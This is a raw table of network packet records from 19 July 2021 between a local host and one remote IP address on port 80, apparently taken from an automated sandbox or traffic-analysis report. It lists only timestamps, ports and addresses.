Jul 19, 2021 18:37:03.693869114 CEST	50114	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.694528103 CEST	50114	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.697408915 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.697555065 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.735949039 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.754271030 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.754292965 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.754409075 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.754481077 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.754630089 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.755707026 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.755891085 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.756302118 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.756328106 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.756469011 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.756963015 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.757088900 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.757214069 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.774429083 CEST	80	50114	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.774554968 CEST	80	50114	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.774725914 CEST	50114	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.815215111 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.852210045 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.852327108 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.852345943 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.852511883 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.852617025 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.853682041 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.853763103 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.854093075 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.854201078 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.854445934 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.854563951 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.854695082 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.854804993 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.878096104 CEST	50114	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.878483057 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.880125999 CEST	50115	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.950129986 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.950154066 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.951209068 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.958169937 CEST	80	50114	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.958303928 CEST	50114	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.978075981 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.978101969 CEST	80	50115	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.978144884 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.978219986 CEST	50115	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.979976892 CEST	50115	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.984850883 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.040891886 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.062941074 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.063141108 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.063863039 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.064388990 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.064611912 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.064728975 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.079051971 CEST	80	50115	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.079082012 CEST	80	50115	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.079658031 CEST	50115	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.146265984 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.146300077 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.146308899 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.146318913 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.146337032 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.146346092 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.146358967 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.146367073 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.146481991 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.146557093 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.190387011 CEST	50115	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.192176104 CEST	50117	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.224752903 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.224780083 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.224790096 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.224798918 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.224812031 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.224945068 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.225001097 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.225276947 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.225294113 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.225306034 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.225408077 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.225440025 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.271513939 CEST	80	50117	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.271621943 CEST	50117	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.272355080 CEST	50117	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.290766954 CEST	80	50115	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.290956020 CEST	50115	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.303050995 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.303076029 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.303092003 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.303190947 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.303246975 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.303282022 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.303474903 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.303489923 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.303513050 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.306230068 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.306256056 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.306269884 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.351515055 CEST	80	50117	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.351547956 CEST	80	50117	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.351665020 CEST	50117	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.381782055 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.381802082 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.381813049 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.457701921 CEST	50117	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.458010912 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.459461927 CEST	50118	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.505760908 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.538274050 CEST	80	50116	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.538353920 CEST	80	50117	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.538428068 CEST	50116	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.538454056 CEST	50117	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.543358088 CEST	80	50118	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.543513060 CEST	50118	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.544122934 CEST	50118	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.590493917 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.591075897 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.592483044 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.592628002 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.594779968 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.594995022 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.627599001 CEST	80	50118	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.628159046 CEST	80	50118	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.628273964 CEST	50118	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.642138004 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.676171064 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.676414967 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.677995920 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.678128958 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.678697109 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.678718090 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.678733110 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.678831100 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.678865910 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.678968906 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.679039955 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.679491997 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.679595947 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.679600000 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.679651976 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.679764986 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.679780960 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.679848909 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.679891109 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.680494070 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.680511951 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.680577040 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.719862938 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.729716063 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.730078936 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.739862919 CEST	50118	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.739885092 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.761847019 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.761888981 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.761903048 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.762037992 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.762120008 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.762135983 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.762249947 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.763027906 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.763045073 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.763180017 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.764379025 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.764400005 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.764487028 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.764576912 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.824814081 CEST	80	50118	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.836086035 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.838964939 CEST	50118	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.839044094 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.840825081 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.847531080 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.847562075 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.847577095 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.847589970 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.847604036 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.847704887 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.847707987 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.847950935 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.847990990 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.848006010 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.850469112 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.930844069 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.930890083 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.930915117 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.930943966 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.934463024 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.934598923 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:04.934695959 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.974831104 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.975054026 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.975503922 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:04.975635052 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.050098896 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.051819086 CEST	50121	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.068285942 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.068315029 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.068662882 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.068749905 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.068763971 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.068835020 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.068924904 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.068967104 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.068988085 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.069032907 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.080049992 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.080149889 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.133142948 CEST	80	50119	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.133224964 CEST	50119	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.143734932 CEST	80	50121	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.143835068 CEST	50121	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.144468069 CEST	50121	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.162183046 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162235975 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162246943 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162264109 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162281036 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162291050 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162316084 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.162369013 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.162398100 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.162415028 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.162435055 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162450075 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162488937 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.162552118 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.162552118 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.162612915 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.236784935 CEST	80	50121	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.236828089 CEST	80	50121	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.236962080 CEST	50121	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.255742073 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.255774021 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.255862951 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.255887985 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.256031036 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.256145954 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.256261110 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.256383896 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.256402016 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.256500006 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.256582022 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.256619930 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.347729921 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.348067045 CEST	50121	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.349312067 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.349384069 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.349450111 CEST	50122	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.431905031 CEST	80	50122	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.432030916 CEST	50122	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.433377028 CEST	50122	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.439755917 CEST	80	50121	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.439850092 CEST	50121	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.444901943 CEST	80	50120	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.445025921 CEST	50120	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.483546019 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.515832901 CEST	80	50122	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.515944958 CEST	80	50122	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.516319990 CEST	50122	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.567017078 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.569622993 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.570147991 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.570358992 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.570591927 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.570807934 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.628499031 CEST	50122	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.629998922 CEST	50124	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.653512955 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.653597116 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.653613091 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.653681040 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.654155016 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.654238939 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.654613972 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.654654026 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.654691935 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.654720068 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.655066013 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.655129910 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.655469894 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.655536890 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.655811071 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.655881882 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.656157970 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.656235933 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.656358004 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.656512022 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.656572104 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.656702995 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.656765938 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.708951950 CEST	80	50124	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.709055901 CEST	50124	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.709734917 CEST	50124	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.710737944 CEST	80	50122	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.710805893 CEST	50122	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.737382889 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.737404108 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.737487078 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.737533092 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.737862110 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.737878084 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.737941980 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.738293886 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.738383055 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.738576889 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.738663912 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.738841057 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.738912106 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.739177942 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.739240885 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.739577055 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.739655972 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.739732981 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.739809036 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.739996910 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.740139961 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.788497925 CEST	80	50124	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.788563013 CEST	80	50124	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.788633108 CEST	50124	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.820574045 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.820667028 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.820988894 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.821471930 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.821886063 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.821898937 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.821907997 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.822268009 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.822282076 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.822474003 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.822518110 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.822565079 CEST	80	50123	185.114.247.54	192.168.2.6
